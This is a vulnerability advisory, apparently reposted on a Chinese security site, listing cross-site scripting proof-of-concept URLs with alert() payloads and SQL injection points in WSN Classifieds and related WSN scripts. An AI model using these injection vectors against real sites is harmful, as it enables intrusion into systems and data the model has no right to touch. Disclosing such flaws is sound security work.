标题: WSN Classifieds v.6.2.12 & 6.2.18 Multiple Vulnerabilities  

 

开发: http://www.wsnclassifieds.com

   

作者: RandomStorm  www.2cto.com

 

#  Avram Marius Gabriel (d3v1l)

测试平台: Windows XP & Vista (IE9 - Firefox 8.0)

 

提示: Redirect and Html Injection can be performed also

 

 

################################################################################################

 

# Cross-Site Scripting (XSS)

 

# XSS POC:

 

# Vector:  "><img src="x:x" onerror="alert('XSS')">

 

# http://www.2cto.com /wsnclassifieds/suggest.php/58a2e"><img src="x:x" onerror="alert('XSS')">c6cc2cdff91

 

# http://www.2cto.com /wsnclassifieds/sitemap.php/56218"><img src="x:x" onerror="alert('XSS')">d82e0881337

 

# http://www.2cto.com /wsnclassifieds/register.php/66eb5"><img src="x:x" onerror="alert('XSS')">090ab232720

 

# http://www.2cto.com /wsnclassifieds/leaders.php/68c0c"><img src="x:x" onerror="alert('XSS')">026a50f9084

 

# http://www.2cto.com /wsnclassifieds/index.php/d0c15"><img src="x:x" onerror="alert('XSS')">9086e589577

 

# http://www.2cto.com /wsnclassifieds/contactform.php/b3007"><img src="x:x" onerror="alert('XSS')">16aadfe1637

 

 

################################################################################################

 

# Vector:  "><script>alert(1)</script>

 

# http://www.2cto.com /wsnclassifieds/index.php?action=userlogin7375e"><script>alert(1)</script>87668222c12&filled=1

 

# http://www.2cto.com /wsnclassifieds/contactform.php?filled=11aefd"><script>alert(1)</script>6db4597a5ab

 

# http://www.2cto.com /wsnclassifieds/suggest.php?action=addcata5886"><script>alert(1)</script>e10802ab7a0&parent=1

 

# http://www.2cto.com /wsnclassifieds/suggest.php?action=addcat&parent=15b2f5"><script>alert(1)</script>9ade5081a20

 

 

################################################################################################ 

 

 

# Sql Injection

 

# http://www.2cto.com /wsnclassifieds/memberlist.php?ascdesc=desc&field=name&perpage=(SQL)

 

################################################################################################

 

 

# Note: 问题在以下程序都有:

 

#  WSN Gallery - media gallery script

#  WSN KB - article directory script

#  WSN Forum - message board script

#  WSN Directory - business directory script

#  WSN Software Directory - software directory script

#  WSN Shop - storefront script

 

# Some of it uses "calendar" so the Sql injection will be performed also from "calendar.php?yearID=2011&monthID=12&dayID=SQL"